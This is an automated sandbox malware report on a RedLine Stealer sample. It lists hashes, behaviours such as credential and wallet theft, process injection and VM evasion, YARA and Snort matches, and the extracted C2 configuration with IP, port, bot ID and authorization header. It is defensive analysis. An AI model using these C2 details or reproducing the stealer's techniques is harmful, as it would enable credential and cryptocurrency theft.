Edit tour

Windows Analysis Report
w5OsHBiADi.exe

Overview

General Information

Sample Name:	w5OsHBiADi.exe
Analysis ID:	736716
MD5:	606f7046bd99a0fa7dbe44d4c7b3fe03
SHA1:	9d3a1ed86e37f2be15bfde129daff45e383f0754
SHA256:	0a9bd3d354a814d233369c6b2083e09a9873e654bcddaee9036cae55c4c73424
Tags:	exeRedLineStealer
Infos:

Detection

RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Snort IDS alert for network traffic

Writes to foreign memory regions

Tries to steal Crypto Currency Wallets

Machine Learning detection for sample

Injects a PE file into a foreign processes

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

C2 URLs / IPs found in malware configuration

Tries to harvest and steal browser information (history, passwords, etc)

PE file contains section with special chars

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

May sleep (evasive loops) to hinder dynamic analysis

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Uses code obfuscation techniques (call, push, ret)

PE file contains sections with non-standard names

Internet Provider seen in connection with other malware

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Yara detected Credential Stealer

Contains functionality to dynamically determine API calls

Contains long sleeps (>= 3 min)

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Is looking for software installed on the system

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Sample file is different than original file name gathered from version info

Detected TCP or UDP traffic on non-standard ports

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Found large amount of non-executed APIs

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

w5OsHBiADi.exe (PID: 5816 cmdline: C:\Users\user\Desktop\w5OsHBiADi.exe MD5: 606F7046BD99A0FA7DBE44D4C7B3FE03)

conhost.exe (PID: 5804 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

vbc.exe (PID: 101104 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe MD5: B3A917344F5610BEEC562556F11300FA)

cleanup

Malware Configuration

Threatname: RedLine

{"C2 url": ["94.131.106.170:47476"], "Bot Id": "mon", "Authorization Header": "6e1f70fda95afb9ccc26e33ac8e6fda9"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.251937830.0000000000734000.00000004.00000010.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000003.248830219.0000000000922000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: w5OsHBiADi.exe PID: 5816	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: vbc.exe PID: 101104	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: vbc.exe PID: 101104	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.w5OsHBiADi.exe.735a58.1.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x373ef:$v2_1: ListOfProcesses 0x37178:$v4_3: base64str 0x38286:$v4_4: stringKey 0x34c67:$v4_5: BytesToStringConverted 0x33cae:$v4_6: FromBase64 0x35459:$v4_8: procName 0x357f6:$v5_1: DownloadAndExecuteUpdate 0x37088:$v5_2: ITaskProcessor 0x357e4:$v5_3: CommandLineUpdate 0x357d5:$v5_4: DownloadUpdate 0x35efb:$v5_5: FileScanning 0x34fdc:$v5_7: RecordHeaderField 0x349d4:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
0.3.w5OsHBiADi.exe.920000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.3.w5OsHBiADi.exe.920000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1c68:$pat14: , CommandLine: 0x391ef:$v2_1: ListOfProcesses 0x38f78:$v4_3: base64str 0x3a086:$v4_4: stringKey 0x36a67:$v4_5: BytesToStringConverted 0x35aae:$v4_6: FromBase64 0x37259:$v4_8: procName 0x375f6:$v5_1: DownloadAndExecuteUpdate 0x38e88:$v5_2: ITaskProcessor 0x375e4:$v5_3: CommandLineUpdate 0x375d5:$v5_4: DownloadUpdate 0x37cfb:$v5_5: FileScanning 0x36ddc:$v5_7: RecordHeaderField 0x367d4:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT
0.2.w5OsHBiADi.exe.735a58.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.w5OsHBiADi.exe.735a58.1.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1c68:$pat14: , CommandLine: 0x391ef:$v2_1: ListOfProcesses 0x38f78:$v4_3: base64str 0x3a086:$v4_4: stringKey 0x36a67:$v4_5: BytesToStringConverted 0x35aae:$v4_6: FromBase64 0x37259:$v4_8: procName 0x375f6:$v5_1: DownloadAndExecuteUpdate 0x38e88:$v5_2: ITaskProcessor 0x375e4:$v5_3: CommandLineUpdate 0x375d5:$v5_4: DownloadUpdate 0x37cfb:$v5_5: FileScanning 0x36ddc:$v5_7: RecordHeaderField 0x367d4:$v5_9: BCRYPT_KEY_LENGTHS_STRUCT

Snort Signatures

ETPRO TROJAN RedLine Stealer TCP CnC net.tcp Init - Source IP: 192.168.2.3 - Destination IP: 94.131.106.170

Timestamp:	192.168.2.394.131.106.17049702474762850027 11/03/22-06:55:39.192710
SID:	2850027
Source Port:	49702
Destination Port:	47476
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Redline Stealer TCP CnC - Id1Response - Source IP: 94.131.106.170 - Destination IP: 192.168.2.3

Timestamp:	94.131.106.170192.168.2.347476497022850353 11/03/22-06:55:41.264944
SID:	2850353
Source Port:	47476
Destination Port:	49702
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Redline Stealer TCP CnC Activity - Source IP: 192.168.2.3 - Destination IP: 94.131.106.170

Timestamp:	192.168.2.394.131.106.17049702474762850286 11/03/22-06:55:55.609626
SID:	2850286
Source Port:	49702
Destination Port:	47476
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: w5OsHBiADi.exe	ReversingLabs: Detection: 80%
Source: w5OsHBiADi.exe	Virustotal: Detection: 63%			Perma Link

Machine Learning detection for sample

Source: w5OsHBiADi.exe

Joe Sandbox ML: detected

Source: 0.2.w5OsHBiADi.exe.735a58.1.raw.unpack

Malware Configuration Extractor: RedLine {"C2 url": ["94.131.106.170:47476"], "Bot Id": "mon", "Authorization Header": "6e1f70fda95afb9ccc26e33ac8e6fda9"}

Source: w5OsHBiADi.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, 32BIT_MACHINE

Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 4x nop then sub esp, 1Ch	0_2_00448B90
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 4x nop then sub esp, 1Ch	0_2_0042F510
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 4x nop then mov eax, ecx	0_2_004B0DA0
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 4x nop then sub edx, 01h	0_2_00448780
Source: C:\Users\user\Desktop\w5OsHBiADi.exe	Code function: 4x nop then sub esp, 1Ch	0_2_004487A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 4x nop then call dword ptr [04C5C598h]	2_2_050BBB88

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2850027 ETPRO TROJAN RedLine Stealer TCP CnC net.tcp Init 192.168.2.3:49702 -> 94.131.106.170:47476
Source: Traffic	Snort IDS: 2850286 ETPRO TROJAN Redline Stealer TCP CnC Activity 192.168.2.3:49702 -> 94.131.106.170:47476
Source: Traffic	Snort IDS: 2850353 ETPRO MALWARE Redline Stealer TCP CnC - Id1Response 94.131.106.170:47476 -> 192.168.2.3:49702

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 94.131.106.170:47476

Source: Joe Sandbox View

ASN Name: NASSIST-ASGI NASSIST-ASGI

Source: global traffic

TCP traffic: 192.168.2.3:49702 -> 94.131.106.170:47476

Source: unknown	TCP traffic detected without corresponding DNS query: 94.131.106.170
Source: unknown	TCP traffic detected without corresponding DNS query: 94.131.106.170
Source: unknown	TCP traffic detected without corresponding DNS query: 94.131.106.170
Source: unknown	TCP traffic detected without corresponding DNS query: 94.131.106.170
Source: unknown	TCP traffic detected without corresponding DNS query: 94.131.106.170
Source: unknown	TCP traffic detected without corresponding DNS query: 94.131.106.170
Source: unknown	TCP traffic detected without corresponding DNS query: 94.131.106.170
Source: unknown	TCP traffic detected without corresponding DNS query: 94.131.106.170
Source: unknown	TCP traffic detected without corresponding DNS query: 94.131.106.170
Source: unknown	TCP traffic detected without corresponding DNS query: 94.131.106.170
Source: unknown	TCP traffic detected without corresponding DNS query: 94.131.106.170
Source: unknown	TCP traffic detected without corresponding DNS query: 94.131.106.170
Source: unknown	TCP traffic detected without corresponding DNS query: 94.131.106.170
Source: unknown	TCP traffic detected without corresponding DNS query: 94.131.106.170
Source: unknown	TCP traffic detected without corresponding DNS query: 94.131.106.170
Source: unknown	TCP traffic detected without corresponding DNS query: 94.131.106.170
Source: unknown	TCP traffic detected without corresponding DNS query: 94.131.106.170
Source: unknown	TCP traffic detected without corresponding DNS query: 94.131.106.170
Source: unknown	TCP traffic detected without corresponding DNS query: 94.131.106.170
Source: unknown	TCP traffic detected without corresponding DNS query: 94.131.106.170
Source: unknown	TCP traffic detected without corresponding DNS query: 94.131.106.170
Source: unknown	TCP traffic detected without corresponding DNS query: 94.131.106.170
Source: unknown	TCP traffic detected without corresponding DNS query: 94.131.106.170
Source: unknown	TCP traffic detected without corresponding DNS query: 94.131.106.170
Source: unknown	TCP traffic detected without corresponding DNS query: 94.131.106.170
Source: unknown	TCP traffic detected without corresponding DNS query: 94.131.106.170
Source: unknown	TCP traffic detected without corresponding DNS query: 94.131.106.170
Source: unknown	TCP traffic detected without corresponding DNS query: 94.131.106.170
Source: unknown	TCP traffic detected without corresponding DNS query: 94.131.106.170
Source: unknown	TCP traffic detected without corresponding DNS query: 94.131.106.170

Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faulth
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/sct
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Renew
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/spnego
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty
Source: vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2006/02/addressingidentity
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.326785733.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: vbc.exe, 00000002.00000002.326410081.0000000006A61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1
